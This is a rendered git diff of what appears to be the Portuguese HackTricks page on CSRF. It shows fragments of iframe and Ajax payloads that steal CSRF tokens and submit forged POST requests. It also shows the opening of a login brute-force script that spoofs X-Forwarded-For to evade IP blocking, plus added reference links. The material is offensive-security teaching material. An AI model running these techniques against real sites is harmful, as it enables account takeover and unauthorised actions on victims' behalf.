### **Roubar CSRF Token e enviar um POST request usando um iframe e um form**
|
||||||
```html
|
```html
|
||||||
<iframe
|
<iframe
|
||||||
id="iframe"
|
id="iframe"
|
||||||
@ -564,7 +646,7 @@ height="600" width="800"></iframe>
|
|||||||
<button type="submit">Submit</button>
|
<button type="submit">Submit</button>
|
||||||
</form>
|
</form>
|
||||||
```
|
```
|
||||||
### **POSTSteal CSRF token com Ajax e enviar um post com um form**
|
### **POSTSteal CSRF token com Ajax e enviar um POST com um form**
|
||||||
```html
|
```html
|
||||||
<body onload="getData()">
|
<body onload="getData()">
|
||||||
<form
|
<form
|
||||||
@ -617,7 +699,7 @@ room: username,
|
|||||||
```
|
```
|
||||||
## CSRF Login Brute Force
|
## CSRF Login Brute Force
|
||||||
|
|
||||||
O código pode ser usado para Brut Force um formulário de login usando um CSRF token (também está usando o header X-Forwarded-For para tentar contornar um possível IP blacklisting):
|
O código pode ser usado para Brut Force um formulário de login usando um token CSRF (Também está usando o header X-Forwarded-For para tentar contornar um possível bloqueio por IP):
|
||||||
```python
|
```python
|
||||||
import request
|
import request
|
||||||
import re
|
import re
|
||||||
@ -665,6 +747,7 @@ login(USER, line.strip())
|
|||||||
|
|
||||||
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
||||||
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
||||||
|
- [Burp Suite Professional – Generate CSRF PoCs](https://portswigger.net/burp)
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
@ -673,5 +756,11 @@ login(USER, line.strip())
|
|||||||
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||||||
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||||
|
- [Guia definitivo para vulnerabilidades CSRF (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)
|
||||||
|
- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf)
|
||||||
|
- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
|
||||||
|
- [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf)
|
||||||
|
- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery)
|
||||||
|
- [YesWeHack Dojo: Laboratórios práticos](https://dojo-yeswehack.com/)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user